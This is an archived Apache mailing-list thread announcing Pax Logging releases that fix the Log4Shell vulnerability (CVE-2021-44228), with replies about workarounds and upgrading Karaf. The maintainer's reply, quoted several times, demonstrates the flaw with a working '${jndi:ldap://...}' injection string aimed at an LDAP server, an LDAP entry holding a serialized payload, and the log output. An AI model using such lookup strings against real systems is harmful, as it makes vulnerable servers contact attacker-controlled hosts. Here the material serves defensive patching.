You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@felix.apache.org by Grzegorz Grzybek <gr...@gmail.com> on 2021/12/10 11:20:02 UTC
[ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello
Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
*Log4j2 has been updated to version 2.15.0.*
The changelog is available at GitHub:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
kind regards
Grzegorz Grzybek
[ANN] Pax Logging 2.0.14, 1.11.13 and 1.10.9 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
Pax Logging 2.0.14, 1.11.13 and 1.10.9 have been released with two upgrades:
- Log4j2 2.17.1
- Logback 1.2.10
These are the latest versions of the dependencies as of December 30th 2021.
Additionally, 2.0.14 and 1.11.13 contain new configuration property:
"org.ops4j.pax.logging.syncJULFormatter" (defaults to "true") which
controls the usage of `java.util.logging.SimpleFormatter` inside Pax
Logging's JUL Handler. By default, there's a single formatter with
synchronization. When this property is set to "false", new instance is
created for each event being handled - this is special system/context
property to be used in Payara server where some deadlocks were observed.
The changelogs are:
- 2.0.14:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/78?closed=1
- 1.11.13:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/79?closed=1
- 1.10.9:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/81?closed=1
kind regards
Grzegorz Grzybek
[ANN] Pax Logging 2.0.14, 1.11.13 and 1.10.9 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
Pax Logging 2.0.14, 1.11.13 and 1.10.9 have been released with two upgrades:
- Log4j2 2.17.1
- Logback 1.2.10
These are the latest versions of the dependencies as of December 30th 2021.
Additionally, 2.0.14 and 1.11.13 contain new configuration property:
"org.ops4j.pax.logging.syncJULFormatter" (defaults to "true") which
controls the usage of `java.util.logging.SimpleFormatter` inside Pax
Logging's JUL Handler. By default, there's a single formatter with
synchronization. When this property is set to "false", new instance is
created for each event being handled - this is special system/context
property to be used in Payara server where some deadlocks were observed.
The changelogs are:
- 2.0.14:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/78?closed=1
- 1.11.13:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/79?closed=1
- 1.10.9:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/81?closed=1
kind regards
Grzegorz Grzybek
[ANN] Pax Logging 2.0.13 and 1.11.12 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
Pax Logging 2.0.13 and 1.11.12 have been released with two upgrades:
- Log4j2 2.17.0
- Logback 1.2.9
These are the latest versions of the dependencies as of December 18th 2021.
The changelogs are:
- 2.0.13:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/75?closed=1
- 1.11.12:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/76?closed=1
kind regards
Grzegorz Grzybek
[ANN] Pax Logging 2.0.13 and 1.11.12 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
Pax Logging 2.0.13 and 1.11.12 have been released with two upgrades:
- Log4j2 2.17.0
- Logback 1.2.9
These are the latest versions of the dependencies as of December 18th 2021.
The changelogs are:
- 2.0.13:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/75?closed=1
- 1.11.12:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/76?closed=1
kind regards
Grzegorz Grzybek
[ANN] Pax Logging 1.10.8 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
Pax Logging 1.10.8 has been released with Log4j2 upgrade to version 2.12.2.
This is the version with CVE-2021-44228 fixed for people that still use JDK
7.
Normally, Pax Logging 1.10.x is no longer maintaned (only 1.11.x and 2.0.x
branches are for now), but for this CVE we've made an exception ;)
The changelog is available at GitHub:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/77?closed=1
kind regards
Grzegorz Grzybek
[ANN] Pax Logging 2.0.12 and 1.11.11 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
Pax Logging 2.0.12 and 1.11.11 have been released with Log4j2 upgrade.
The Log4j2 version used is 2.16.0, which is a follow-up release related to
recent world-shaking CVE-2021-44228.
Version 2.16.0 polishes some corner cases related to message interpolation
and is NOT a required upgrade for this CVE.
The changelog is available at GitHub:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/74?closed=1
kind regards
Grzegorz Grzybek
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Thanks for sharing the information Bernd!
regards
Grzegorz Grzybek
sob., 11 gru 2021 o 03:25 Bernd Eckenfels <ec...@zusammenkunft.net>
napisał(a):
> Hello,
>
> Found no problem was using the wrong property prefix. It works now to turn
> it off.
>
> I also noticed that JNDI lookups will fail on our karaf distribution
> because the JNDIManager has some DelegateContextLookup (OSGiDelegating
> something) which fails the lookup. It’s too late to find out why but that
> means at least the POC vectors don’t harm me.
>
> --
> https://bernd.eckenfels.net
> ________________________________
> From: Bernd Eckenfels <ec...@zusammenkunft.net>
> Sent: Friday, December 10, 2021 11:26:19 PM
> To: dev@karaf.apache.org <de...@karaf.apache.org>
> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> I am currently working on a description for a work around (specifying the
> system property) but I can’t get it to work.
>
> It still expands ${java:version}. I checked that it shows with
> “system:property log4j.formatMsgNoLookup” true and there seems to be no
> %m{lookup} setting.
>
> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> version newer than 2.10).
>
> Any idea?
>
> Is it possible that the shaded pax-logging-log4j does not honor the system
> property of log4j?
>
>
> --
> https://bernd.eckenfels.net
> ________________________________
> From: Grzegorz Grzybek <gr...@gmail.com>
> Sent: Friday, December 10, 2021 1:43:00 PM
> To: dev@karaf.apache.org <de...@karaf.apache.org>
> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it
> in
> details.
>
> I was a bit surprised too - I knew about e.g., `${java:version}` if you
> used it in pattern layout configuration - I didn't expect Log4j2 to
> interpolate the messages passed to log() methods as well!
>
> But you can try (in Karaf):
>
> karaf@root()> log:log 'xxx ${java:version} xxx'
>
> And you'll see (in the logs):
>
> 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
> Java version 1.8.0_312 xxx
>
> so a message has been interpolated.
>
> What's worse, I could add an entry to my OpenLDAP with:
>
> javaClassName: java.lang.String
> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
>
> And then:
>
> karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest
> }'
>
> gave me this in logs:
>
> 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> http://localhost/attack
>
> "http://localhost/attack" is the deserialized value from
> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
>
> While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> property that defaults to "false" since 2009), you still have a remote
> request being performed when logging messages with ${jndi:ldap://
> example.com
> }.
>
> regards
> Grzegorz Grzybek
>
> pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
> napisał(a):
>
> > Hello Grzegorz,
> >
> > Thanks a lot for the super quick reaction.
> >
> > I was rather confused to see that log messages can trigger a JNDI lookup
> > anyway. Do you think there should be hardened something here?
> >
> > Do you know if that is triggered by malicious log config or by malicious
> > log messages and does it only affect systems where the JMSAppender is
> > actually used?
> >
> > Gruss
> > Bernd
> >
> >
> > --
> > http://bernd.eckenfels.net
> > ________________________________
> > Von: Grzegorz Grzybek <gr...@gmail.com>
> > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > An: ops4j-announcement@googlegroups.com <
> > ops4j-announcement@googlegroups.com>; Karaf Dev <de...@karaf.apache.org>;
> > dev@felix.apache.org <de...@felix.apache.org>
> > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
> >
> > Hello
> >
> > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> fix.
> >
> > *Log4j2 has been updated to version 2.15.0.*
> >
> > The changelog is available at GitHub:
> > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> >
> > kind regards
> > Grzegorz Grzybek
> >
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Bernd Eckenfels <ec...@zusammenkunft.net>.
Hello,
Found no problem was using the wrong property prefix. It works now to turn it off.
I also noticed that JNDI lookups will fail on our karaf distribution because the JNDIManager has some DelegateContextLookup (OSGiDelegating something) which fails the lookup. It’s too late to find out why but that means at least the POC vectors don’t harm me.
--
https://bernd.eckenfels.net
________________________________
From: Bernd Eckenfels <ec...@zusammenkunft.net>
Sent: Friday, December 10, 2021 11:26:19 PM
To: dev@karaf.apache.org <de...@karaf.apache.org>
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
I am currently working on a description for a work around (specifying the system property) but I can’t get it to work.
It still expands ${java:version}. I checked that it shows with “system:property log4j.formatMsgNoLookup” true and there seems to be no %m{lookup} setting.
I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a version newer than 2.10).
Any idea?
Is it possible that the shaded pax-logging-log4j does not honor the system property of log4j?
--
https://bernd.eckenfels.net
________________________________
From: Grzegorz Grzybek <gr...@gmail.com>
Sent: Friday, December 10, 2021 1:43:00 PM
To: dev@karaf.apache.org <de...@karaf.apache.org>
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello
Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in
details.
I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!
But you can try (in Karaf):
karaf@root()> log:log 'xxx ${java:version} xxx'
And you'll see (in the logs):
2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
Java version 1.8.0_312 xxx
so a message has been interpolated.
What's worse, I could add an entry to my OpenLDAP with:
javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
And then:
karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}'
gave me this in logs:
2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack
"http://localhost/attack" is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://example.com
}.
regards
Grzegorz Grzybek
pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
napisał(a):
> Hello Grzegorz,
>
> Thanks a lot for the super quick reaction.
>
> I was rather confused to see that log messages can trigger a JNDI lookup
> anyway. Do you think there should be hardened something here?
>
> Do you know if that is triggered by malicious log config or by malicious
> log messages and does it only affect systems where the JMSAppender is
> actually used?
>
> Gruss
> Bernd
>
>
> --
> http://bernd.eckenfels.net
> ________________________________
> Von: Grzegorz Grzybek <gr...@gmail.com>
> Gesendet: Friday, December 10, 2021 12:20:02 PM
> An: ops4j-announcement@googlegroups.com <
> ops4j-announcement@googlegroups.com>; Karaf Dev <de...@karaf.apache.org>;
> dev@felix.apache.org <de...@felix.apache.org>
> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
>
> *Log4j2 has been updated to version 2.15.0.*
>
> The changelog is available at GitHub:
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>
> kind regards
> Grzegorz Grzybek
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Steven Huypens <st...@gmail.com>.
Hi Grzegorz,
Thanks. I was actually looking to create a new custom distribution, but I'm
not sure if I want all other Karaf 4.3.4 to come along.
For now it looks like we're going with log4j2.formatMsgNoLookups=true
Best regards,
Steven
On Mon, Dec 13, 2021 at 2:17 PM Grzegorz Grzybek <gr...@gmail.com>
wrote:
> @Steven Huypens
>
> In order to fix in current installation, you have to change the version in
> etc/startup.properties and at runtime, do `update
> <bundle-id-of-pax-logging-log4j2>
> mvn:org.ops4j.pax.logging/pax-logging-log4j2/2.0.11`
>
> regards
> Grzegorz Grzybek
>
> pon., 13 gru 2021 o 13:18 Jean-Baptiste Onofré <jb...@nanthrax.net>
> napisał(a):
>
> > Hi,
> >
> > you can upgrade to Karaf 4.3.4 (vote will start in a hour or so).
> >
> > It will include Pax Logging 2.0.11.
> >
> > If you can't wait, then, you have to create your own distro (mimic what
> > we do at Karaf).
> >
> > Regards
> > JB
> >
> > On 13/12/2021 13:10, Steven Huypens wrote:
> > > Hi Grzegorz,
> > >
> > > Thanks, that's clear now.
> > >
> > > Another question: what is the simplest way of upgrading pax logging to
> > > 2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
> > > dependencies and add the 2.0.11 ones to my features.xml, or is there a
> > > better option ?
> > >
> > > Kind regards,
> > > Steven
> > >
> > > On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek <
> gr.grzybek@gmail.com>
> > > wrote:
> > >
> > >> Hello
> > >>
> > >> The multiple export trick/hack/improvement/convenience is to make it
> > easier
> > >> to upgrade pax logging itself without affecting the OSGi users.
> > >> Pax Logging *has to* export Log4j2 packages at version of the ONLY
> > Log4j2
> > >> library it uses (private-packages + re-exports), but it also declares
> > that
> > >> the exports match earlier versions.
> > >> So if your application has:
> > >>
> > >> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
> > >>
> > >> Just because it was built by maven-bundle-plugin that for some reasons
> > used
> > >> more strict version range policy, the multiple versions exported by
> Pax
> > >> Logging bundles won't break your application.
> > >> It's a way of telling - if you're using our API at given version, we
> > >> provide compatible interfaces. But the underlying implementation is
> (for
> > >> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
> > >>
> > >> regards
> > >> Grzegorz Grzybek
> > >>
> > >> pon., 13 gru 2021 o 11:42 Steven Huypens <st...@gmail.com>
> > >> napisał(a):
> > >>
> > >>> Hi all,
> > >>>
> > >>> We are using pax logging 2.0.9, but I can see it exports log4j2
> > packages
> > >>> for different versions: 2.9.1, 2.13.3 & 2.14.1
> > >>>
> > >>> Since one of those versions is not higher than 2.10, it's not clear
> to
> > me
> > >>> if the system property log4j.formatMsgNoLookup will fix the issue for
> > our
> > >>> application. Anyone knows ?
> > >>>
> > >>> Kind regards,
> > >>> Steven
> > >>>
> > >>> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <
> > ecki@zusammenkunft.net
> > >>>
> > >>> wrote:
> > >>>
> > >>>> I am currently working on a description for a work around
> (specifying
> > >> the
> > >>>> system property) but I can’t get it to work.
> > >>>>
> > >>>> It still expands ${java:version}. I checked that it shows with
> > >>>> “system:property log4j.formatMsgNoLookup” true and there seems to be
> > no
> > >>>> %m{lookup} setting.
> > >>>>
> > >>>> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> > >>>> version newer than 2.10).
> > >>>>
> > >>>> Any idea?
> > >>>>
> > >>>> Is it possible that the shaded pax-logging-log4j does not honor the
> > >>> system
> > >>>> property of log4j?
> > >>>>
> > >>>>
> > >>>> --
> > >>>> https://bernd.eckenfels.net
> > >>>> ________________________________
> > >>>> From: Grzegorz Grzybek <gr...@gmail.com>
> > >>>> Sent: Friday, December 10, 2021 1:43:00 PM
> > >>>> To: dev@karaf.apache.org <de...@karaf.apache.org>
> > >>>> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> > >>> released
> > >>>>
> > >>>> Hello
> > >>>>
> > >>>> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198
> describes
> > >> it
> > >>>> in
> > >>>> details.
> > >>>>
> > >>>> I was a bit surprised too - I knew about e.g., `${java:version}` if
> > you
> > >>>> used it in pattern layout configuration - I didn't expect Log4j2 to
> > >>>> interpolate the messages passed to log() methods as well!
> > >>>>
> > >>>> But you can try (in Karaf):
> > >>>>
> > >>>> karaf@root()> log:log 'xxx ${java:version} xxx'
> > >>>>
> > >>>> And you'll see (in the logs):
> > >>>>
> > >>>> 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version}
> xxx'}
> > >>>> [org.apache.karaf.log.command.LogEntry.execute()]
> (LogEntry.java:57) :
> > >>> xxx
> > >>>> Java version 1.8.0_312 xxx
> > >>>>
> > >>>> so a message has been interpolated.
> > >>>>
> > >>>> What's worse, I could add an entry to my OpenLDAP with:
> > >>>>
> > >>>> javaClassName: java.lang.String
> > >>>> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> > >>>>
> > >>>> And then:
> > >>>>
> > >>>> karaf@root()> log:log '${jndi:ldap://
> > >>> 10.39.192.99/cn=boom,dc=k8s,dc=forest
> > >>>> }'
> > >>>>
> > >>>> gave me this in logs:
> > >>>>
> > >>>> 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> > >>>> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> > >>>> <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> > >>>> [org.apache.karaf.log.command.LogEntry.execute()]
> (LogEntry.java:57) :
> > >>>> http://localhost/attack
> > >>>>
> > >>>> "http://localhost/attack" is the deserialized value from
> > >>>> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> > >>>>
> > >>>> While you can't use "javaCodeBase" LDAP attribute to point to
> malicius
> > >>> URL
> > >>>> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase"
> > system
> > >>>> property that defaults to "false" since 2009), you still have a
> remote
> > >>>> request being performed when logging messages with ${jndi:ldap://
> > >>>> example.com
> > >>>> }.
> > >>>>
> > >>>> regards
> > >>>> Grzegorz Grzybek
> > >>>>
> > >>>> pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
> > >>>> napisał(a):
> > >>>>
> > >>>>> Hello Grzegorz,
> > >>>>>
> > >>>>> Thanks a lot for the super quick reaction.
> > >>>>>
> > >>>>> I was rather confused to see that log messages can trigger a JNDI
> > >>> lookup
> > >>>>> anyway. Do you think there should be hardened something here?
> > >>>>>
> > >>>>> Do you know if that is triggered by malicious log config or by
> > >>> malicious
> > >>>>> log messages and does it only affect systems where the JMSAppender
> is
> > >>>>> actually used?
> > >>>>>
> > >>>>> Gruss
> > >>>>> Bernd
> > >>>>>
> > >>>>>
> > >>>>> --
> > >>>>> http://bernd.eckenfels.net
> > >>>>> ________________________________
> > >>>>> Von: Grzegorz Grzybek <gr...@gmail.com>
> > >>>>> Gesendet: Friday, December 10, 2021 12:20:02 PM
> > >>>>> An: ops4j-announcement@googlegroups.com <
> > >>>>> ops4j-announcement@googlegroups.com>; Karaf Dev <
> > >> dev@karaf.apache.org
> > >>>> ;
> > >>>>> dev@felix.apache.org <de...@felix.apache.org>
> > >>>>> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> > >> released
> > >>>>>
> > >>>>> Hello
> > >>>>>
> > >>>>> Pax Logging 2.0.11 and 1.11.10 have been released with
> CVE-2021-44228
> > >>>> fix.
> > >>>>>
> > >>>>> *Log4j2 has been updated to version 2.15.0.*
> > >>>>>
> > >>>>> The changelog is available at GitHub:
> > >>>>>
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> > >>>>>
> > >>>>> kind regards
> > >>>>> Grzegorz Grzybek
> > >>>>>
> > >>>>
> > >>>
> > >>
> > >
> >
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
@Steven Huypens
In order to fix in current installation, you have to change the version in
etc/startup.properties and at runtime, do `update
<bundle-id-of-pax-logging-log4j2>
mvn:org.ops4j.pax.logging/pax-logging-log4j2/2.0.11`
regards
Grzegorz Grzybek
pon., 13 gru 2021 o 13:18 Jean-Baptiste Onofré <jb...@nanthrax.net> napisał(a):
> Hi,
>
> you can upgrade to Karaf 4.3.4 (vote will start in a hour or so).
>
> It will include Pax Logging 2.0.11.
>
> If you can't wait, then, you have to create your own distro (mimic what
> we do at Karaf).
>
> Regards
> JB
>
> On 13/12/2021 13:10, Steven Huypens wrote:
> > Hi Grzegorz,
> >
> > Thanks, that's clear now.
> >
> > Another question: what is the simplest way of upgrading pax logging to
> > 2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
> > dependencies and add the 2.0.11 ones to my features.xml, or is there a
> > better option ?
> >
> > Kind regards,
> > Steven
> >
> > On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek <gr...@gmail.com>
> > wrote:
> >
> >> Hello
> >>
> >> The multiple export trick/hack/improvement/convenience is to make it
> easier
> >> to upgrade pax logging itself without affecting the OSGi users.
> >> Pax Logging *has to* export Log4j2 packages at version of the ONLY
> Log4j2
> >> library it uses (private-packages + re-exports), but it also declares
> that
> >> the exports match earlier versions.
> >> So if your application has:
> >>
> >> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
> >>
> >> Just because it was built by maven-bundle-plugin that for some reasons
> used
> >> more strict version range policy, the multiple versions exported by Pax
> >> Logging bundles won't break your application.
> >> It's a way of telling - if you're using our API at given version, we
> >> provide compatible interfaces. But the underlying implementation is (for
> >> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
> >>
> >> regards
> >> Grzegorz Grzybek
> >>
> >> pon., 13 gru 2021 o 11:42 Steven Huypens <st...@gmail.com>
> >> napisał(a):
> >>
> >>> Hi all,
> >>>
> >>> We are using pax logging 2.0.9, but I can see it exports log4j2
> packages
> >>> for different versions: 2.9.1, 2.13.3 & 2.14.1
> >>>
> >>> Since one of those versions is not higher than 2.10, it's not clear to
> me
> >>> if the system property log4j.formatMsgNoLookup will fix the issue for
> our
> >>> application. Anyone knows ?
> >>>
> >>> Kind regards,
> >>> Steven
> >>>
> >>> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <
> ecki@zusammenkunft.net
> >>>
> >>> wrote:
> >>>
> >>>> I am currently working on a description for a work around (specifying
> >> the
> >>>> system property) but I can’t get it to work.
> >>>>
> >>>> It still expands ${java:version}. I checked that it shows with
> >>>> “system:property log4j.formatMsgNoLookup” true and there seems to be
> no
> >>>> %m{lookup} setting.
> >>>>
> >>>> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> >>>> version newer than 2.10).
> >>>>
> >>>> Any idea?
> >>>>
> >>>> Is it possible that the shaded pax-logging-log4j does not honor the
> >>> system
> >>>> property of log4j?
> >>>>
> >>>>
> >>>> --
> >>>> https://bernd.eckenfels.net
> >>>> ________________________________
> >>>> From: Grzegorz Grzybek <gr...@gmail.com>
> >>>> Sent: Friday, December 10, 2021 1:43:00 PM
> >>>> To: dev@karaf.apache.org <de...@karaf.apache.org>
> >>>> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> >>> released
> >>>>
> >>>> Hello
> >>>>
> >>>> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes
> >> it
> >>>> in
> >>>> details.
> >>>>
> >>>> I was a bit surprised too - I knew about e.g., `${java:version}` if
> you
> >>>> used it in pattern layout configuration - I didn't expect Log4j2 to
> >>>> interpolate the messages passed to log() methods as well!
> >>>>
> >>>> But you can try (in Karaf):
> >>>>
> >>>> karaf@root()> log:log 'xxx ${java:version} xxx'
> >>>>
> >>>> And you'll see (in the logs):
> >>>>
> >>>> 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> >>>> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> >>> xxx
> >>>> Java version 1.8.0_312 xxx
> >>>>
> >>>> so a message has been interpolated.
> >>>>
> >>>> What's worse, I could add an entry to my OpenLDAP with:
> >>>>
> >>>> javaClassName: java.lang.String
> >>>> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> >>>>
> >>>> And then:
> >>>>
> >>>> karaf@root()> log:log '${jndi:ldap://
> >>> 10.39.192.99/cn=boom,dc=k8s,dc=forest
> >>>> }'
> >>>>
> >>>> gave me this in logs:
> >>>>
> >>>> 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> >>>> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> >>>> <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> >>>> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> >>>> http://localhost/attack
> >>>>
> >>>> "http://localhost/attack" is the deserialized value from
> >>>> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> >>>>
> >>>> While you can't use "javaCodeBase" LDAP attribute to point to malicius
> >>> URL
> >>>> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase"
> system
> >>>> property that defaults to "false" since 2009), you still have a remote
> >>>> request being performed when logging messages with ${jndi:ldap://
> >>>> example.com
> >>>> }.
> >>>>
> >>>> regards
> >>>> Grzegorz Grzybek
> >>>>
> >>>> pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
> >>>> napisał(a):
> >>>>
> >>>>> Hello Grzegorz,
> >>>>>
> >>>>> Thanks a lot for the super quick reaction.
> >>>>>
> >>>>> I was rather confused to see that log messages can trigger a JNDI
> >>> lookup
> >>>>> anyway. Do you think there should be hardened something here?
> >>>>>
> >>>>> Do you know if that is triggered by malicious log config or by
> >>> malicious
> >>>>> log messages and does it only affect systems where the JMSAppender is
> >>>>> actually used?
> >>>>>
> >>>>> Gruss
> >>>>> Bernd
> >>>>>
> >>>>>
> >>>>> --
> >>>>> http://bernd.eckenfels.net
> >>>>> ________________________________
> >>>>> Von: Grzegorz Grzybek <gr...@gmail.com>
> >>>>> Gesendet: Friday, December 10, 2021 12:20:02 PM
> >>>>> An: ops4j-announcement@googlegroups.com <
> >>>>> ops4j-announcement@googlegroups.com>; Karaf Dev <
> >> dev@karaf.apache.org
> >>>> ;
> >>>>> dev@felix.apache.org <de...@felix.apache.org>
> >>>>> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> >> released
> >>>>>
> >>>>> Hello
> >>>>>
> >>>>> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> >>>> fix.
> >>>>>
> >>>>> *Log4j2 has been updated to version 2.15.0.*
> >>>>>
> >>>>> The changelog is available at GitHub:
> >>>>> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> >>>>>
> >>>>> kind regards
> >>>>> Grzegorz Grzybek
> >>>>>
> >>>>
> >>>
> >>
> >
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Jean-Baptiste Onofré <jb...@nanthrax.net>.
Hi,
you can upgrade to Karaf 4.3.4 (vote will start in a hour or so).
It will include Pax Logging 2.0.11.
If you can't wait, then, you have to create your own distro (mimic what
we do at Karaf).
Regards
JB
On 13/12/2021 13:10, Steven Huypens wrote:
> Hi Grzegorz,
>
> Thanks, that's clear now.
>
> Another question: what is the simplest way of upgrading pax logging to
> 2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
> dependencies and add the 2.0.11 ones to my features.xml, or is there a
> better option ?
>
> Kind regards,
> Steven
>
> On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek <gr...@gmail.com>
> wrote:
>
>> Hello
>>
>> The multiple export trick/hack/improvement/convenience is to make it easier
>> to upgrade pax logging itself without affecting the OSGi users.
>> Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
>> library it uses (private-packages + re-exports), but it also declares that
>> the exports match earlier versions.
>> So if your application has:
>>
>> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
>>
>> Just because it was built by maven-bundle-plugin that for some reasons used
>> more strict version range policy, the multiple versions exported by Pax
>> Logging bundles won't break your application.
>> It's a way of telling - if you're using our API at given version, we
>> provide compatible interfaces. But the underlying implementation is (for
>> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
>>
>> regards
>> Grzegorz Grzybek
>>
>> pon., 13 gru 2021 o 11:42 Steven Huypens <st...@gmail.com>
>> napisał(a):
>>
>>> Hi all,
>>>
>>> We are using pax logging 2.0.9, but I can see it exports log4j2 packages
>>> for different versions: 2.9.1, 2.13.3 & 2.14.1
>>>
>>> Since one of those versions is not higher than 2.10, it's not clear to me
